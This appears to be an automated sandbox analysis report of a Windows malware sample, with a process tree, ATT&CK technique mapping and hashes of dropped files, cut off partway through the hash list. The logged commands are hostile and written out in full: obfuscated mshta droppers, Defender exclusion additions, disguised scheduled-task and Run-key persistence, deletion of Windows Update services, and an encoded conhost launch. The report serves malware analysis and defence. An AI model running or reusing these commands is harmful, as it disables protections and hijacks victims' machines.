"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
3⤵
PID:4596

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_211.exe" ) do taskkill -f -iM "%~NxM"
4⤵
PID:1760

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "search_hyperfs_211.exe"
5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3032

C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:1268

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
6⤵
- Checks computer location settings
PID:4940

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
7⤵
PID:724

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
6⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5112

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
7⤵
PID:800

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHo "
8⤵
PID:3264

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
8⤵
PID:2488

C:\Windows\SysWOW64\msiexec.exe
msiexec -Y ..\lXQ2g.WC
8⤵
- Loads dropped DLL
PID:1860

C:\Users\Admin\AppData\Local\Temp\anytime1.exe
"C:\Users\Admin\AppData\Local\Temp\anytime1.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4460

C:\Users\Admin\AppData\Local\Temp\anytime2.exe
"C:\Users\Admin\AppData\Local\Temp\anytime2.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:4244

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
3⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:384

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
PID:4160

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2212

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
PID:4500

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
PID:3424

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#xczeq#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
4⤵
PID:1472

C:\Windows\SYSTEM32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
4⤵
PID:3492

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:4804

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:376

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:4724

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:4500

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:1768

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
5⤵
PID:5096

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
5⤵
PID:4796

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
5⤵
- Modifies security service
PID:4632

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
5⤵
PID:2232

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
5⤵
PID:3932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#rinqwltqb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2044

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
5⤵
PID:1148

C:\Users\Admin\AppData\Local\Temp\anytime3.exe
"C:\Users\Admin\AppData\Local\Temp\anytime3.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3580

C:\Users\Admin\AppData\Local\Temp\anytime4.exe
"C:\Users\Admin\AppData\Local\Temp\anytime4.exe"
2⤵
PID:2248

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2248 -s 1692
3⤵
- Program crash
PID:4652

C:\Users\Admin\AppData\Local\Temp\anytime5.exe
"C:\Users\Admin\AppData\Local\Temp\anytime5.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4212

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
3⤵
- Executes dropped EXE
PID:1528

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3496

C:\Windows\SYSTEM32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
4⤵
PID:800

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:1392

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:1148

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:3240

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:8

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:5092

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
5⤵
PID:3324

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
5⤵
PID:4224

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
5⤵
PID:3328

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
5⤵
- Suspicious use of WriteProcessMemory
PID:4596

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3424

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
PID:3800

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
PID:3240

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
PID:3452

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:604

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#xczeq#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#rinqwltqb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:1140

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
5⤵
- Blocklisted process makes network request
PID:4212

C:\Users\Admin\AppData\Local\Temp\bearvpn3.exe
"C:\Users\Admin\AppData\Local\Temp\bearvpn3.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4668 -ip 4668
1⤵
PID:4032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4404 -ip 4404
1⤵
PID:1664

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 536 -p 2248 -ip 2248
1⤵
PID:4944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4668 -ip 4668
1⤵
PID:1212

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4668 -ip 4668
1⤵
PID:1688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4668 -ip 4668
1⤵
PID:2404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4668 -ip 4668
1⤵
PID:4884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4668 -ip 4668
1⤵
PID:2920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4668 -ip 4668
1⤵
PID:5096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4668 -ip 4668
1⤵
PID:4632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4668 -ip 4668
1⤵
PID:4588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4668 -ip 4668
1⤵
PID:1996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2248

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 544 -p 4436 -ip 4436
1⤵
PID:2472

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Executes dropped EXE
PID:4400

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:4456

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:4192

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:3452

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2852

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:4664

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:3780

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:2488

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:2864

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:4792

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:524

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:4200

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:5012

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:744

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Drops file in Program Files directory
PID:1528

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:2092

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:1888

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#xczeq#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
PID:2300

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:5112

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe neuxbawhsltc
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3240

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
PID:3716

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
4⤵
PID:4164

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
PID:5096

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe mrogdruepwskerhl 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYfdBQ6EuO6bmuK1gzJC8vtoBItbmBCXnm6b281mKHYoE9OiJFCSVBnx4FV6ZdSnPpEmW4v4Qji2mWYe0jeKsqAo6oSB/l781jfWkm4CQ9+sCcWUt4l0PmSPiymPuVezUw7eoTlQ4vWzOskgdNUJzEzxG7QgLQAbkUhZ8ESSShBKjJONFgEEn3qdUznMScgokoqTxHY1diE7FilMRg/BKon6jjG0M7Ab5XNv3DpjGyyVoEZCRJ1ZNbNuLSH7LVmaGl7u+tewE9uPgCxwWFBtw/IHiOtP9LQOhOceRNrQkg5JAkxCT/Ui2IbDLWvzmngF1BapHeS1Is4/mEfyIaGK8g4HTBbP/87nCHF2rVCksyJUEhA2IaB3JR9k73dLI4kiDwhXtG5I0lvW4lxrE+4kuZuG56X2XdBU0QE8BtN21749gU=
2⤵
PID:2144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4668 -ip 4668
1⤵
PID:5024

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\11111.exe
Filesize
207KB

MD5
d0527733abcc5c58735e11d43061b431

SHA1
28de9d191826192721e325787b8a50a84328cffd

SHA256
b4ef7ee228c1500f7bb3686361b1a246954efe04cf14d218b5ee709bc0d88b45

SHA512
7704b215fade38c9a4aa2395263f3d4d9392b318b5644146464d233006a6de86f53a5f6e47cd909c0d968e3ef4db397f52e28ca4d6a1b2e88e1c40a1dbde3fb5

Download Submit
C:\Users\Admin\AppData\Local\Temp\11111.exe
Filesize
207KB

MD5
d0527733abcc5c58735e11d43061b431

SHA1
28de9d191826192721e325787b8a50a84328cffd

SHA256
b4ef7ee228c1500f7bb3686361b1a246954efe04cf14d218b5ee709bc0d88b45

SHA512
7704b215fade38c9a4aa2395263f3d4d9392b318b5644146464d233006a6de86f53a5f6e47cd909c0d968e3ef4db397f52e28ca4d6a1b2e88e1c40a1dbde3fb5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Blues.exe
Filesize
2.6MB

MD5
3d744083fa4ef6cde012341479463869

SHA1
763542e4806763a155d8a26c4ea808e10fe162cd

SHA256
f64de4724bce271bcb15195dea893055643c767444b7fbdff82bab533f803795

SHA512
e1d192d847e426d3a11d2261a5186c9325b2ddbf510b9d93a0d18c90c539405f6d4ca37155e11306227904b34eaa538ed368d8d9335ce3b483d5095ae69b2196

Download Submit
C:\Users\Admin\AppData\Local\Temp\Blues.exe
Filesize
2.6MB

MD5
3d744083fa4ef6cde012341479463869

SHA1
763542e4806763a155d8a26c4ea808e10fe162cd

SHA256
f64de4724bce271bcb15195dea893055643c767444b7fbdff82bab533f803795

SHA512
e1d192d847e426d3a11d2261a5186c9325b2ddbf510b9d93a0d18c90c539405f6d4ca37155e11306227904b34eaa538ed368d8d9335ce3b483d5095ae69b2196

Download Submit
C:\Users\Admin\AppData\Local\Temp\LightCleaner2352312.exe
Filesize
153KB

MD5
46c7519f22861e062ea5c993f60edf1b

SHA1
cd41cc9f9795ed21c1014e01bdf166424aa5be80

SHA256
b9270fab475d6e3ebf0a827ec104f69a47c9245e8d9456b21faf002d0a6c42ee

SHA512
e113a40da797359caa9b6bf469842697c8173b699927838a867b86738aa12e9e1aae6ad63b6c3b4a65290c1f4e76c1a7c83fe018f0c0b91adba396e7ed01ae4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\LightCleaner2352312.exe
Filesize
153KB

MD5
46c7519f22861e062ea5c993f60edf1b

SHA1
cd41cc9f9795ed21c1014e01bdf166424aa5be80

SHA256
b9270fab475d6e3ebf0a827ec104f69a47c9245e8d9456b21faf002d0a6c42ee

SHA512
e113a40da797359caa9b6bf469842697c8173b699927838a867b86738aa12e9e1aae6ad63b6c3b4a65290c1f4e76c1a7c83fe018f0c0b91adba396e7ed01ae4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
Filesize
2.6MB

MD5
97fe301bcf4851487dd7c3703f98103a

SHA1
2f55007e6c2a406531e32b724cdb25c797c1d9d6

SHA256
b93c401427c106d685113977a2d5b5666e1d8a6c403f63cb1861b1437c2de807

SHA512
be519194526aa792526769ce4a230d98ec3af3f25d75018199219eedc253fb6d76238444ec815d3b4f1fd9b1c0e93041f37aa168e2dc8002487e40dec4327754

Download Submit
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
Filesize
2.6MB

MD5
97fe301bcf4851487dd7c3703f98103a

SHA1
2f55007e6c2a406531e32b724cdb25c797c1d9d6

SHA256
b93c401427c106d685113977a2d5b5666e1d8a6c403f63cb1861b1437c2de807

SHA512
be519194526aa792526769ce4a230d98ec3af3f25d75018199219eedc253fb6d76238444ec815d3b4f1fd9b1c0e93041f37aa168e2dc8002487e40dec4327754

Download Submit
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
Filesize
2.6MB

MD5
97fe301bcf4851487dd7c3703f98103a

SHA1
2f55007e6c2a406531e32b724cdb25c797c1d9d6

SHA256
b93c401427c106d685113977a2d5b5666e1d8a6c403f63cb1861b1437c2de807

SHA512
be519194526aa792526769ce4a230d98ec3af3f25d75018199219eedc253fb6d76238444ec815d3b4f1fd9b1c0e93041f37aa168e2dc8002487e40dec4327754

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\1w8lBDVH.aou
Filesize
411KB

MD5
112b8c9fa0419875f26ca7b592155f2b

SHA1
0b407062b6e843801282c2dc0c3749f697a67300

SHA256
95ae984c19dbf91919296efb398aaf700605910a28abe9288c7639c7d9223202

SHA512
a71e187dbc18c2d7cd21b1e856ee7d58e230b801758ed6a2205e8dacdc8235a09111014cff3171ea82e8942251508ada57eefdbcbc13daddbfbe30eddc29dad8

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\9Bu~.w
Filesize
439KB

MD5
34432ab60fad1ab1c4fe035a61a1d5b6

SHA1
1f1436819dc7f24acea237fdafbbc3680bda17fd

SHA256
545a4f9c38b1f3367df9d87bd8ba39db5ac670a50b86b9f23ae6675bc9ad160b

SHA512
1bbe2a1d8227cdc101250807d2e4e6c3d05b093bd9cd526b37d7f74d5b40fee1f3324a237ea52e4933fe8c97ef56657e994f01840cda28214a83cc7a0f1f613d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\MyBa.V
Filesize
26KB

MD5
51424c68f5ff16380b95f917c7b78703

SHA1
70aa922f08680c02918c765daf8d0469e5cd9e50

SHA256
065f5b48408abb0260d68775e6db36136c8ac2bd7c8a1168613cc5cb8825d315

SHA512
c7510a9555402d64665bcbce661eb54c1bcbb20095c084036d8af625de9d0bf93cb33e93cbc9b6efbc73f9080ef7052dcbc35fb8d44ccf56fb2db8af933e06af

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\WcWfz1Tn.MJ
Filesize
481KB

MD5
e1caa9cc3b8bd60f12093059981f3679

SHA1
f35d8b851dc0222ae8294b28bd7dee339cc0589b

SHA256
254b6e6f43b2707ac107664b163ba074051b0534aafa8faf85a1760299182565

SHA512
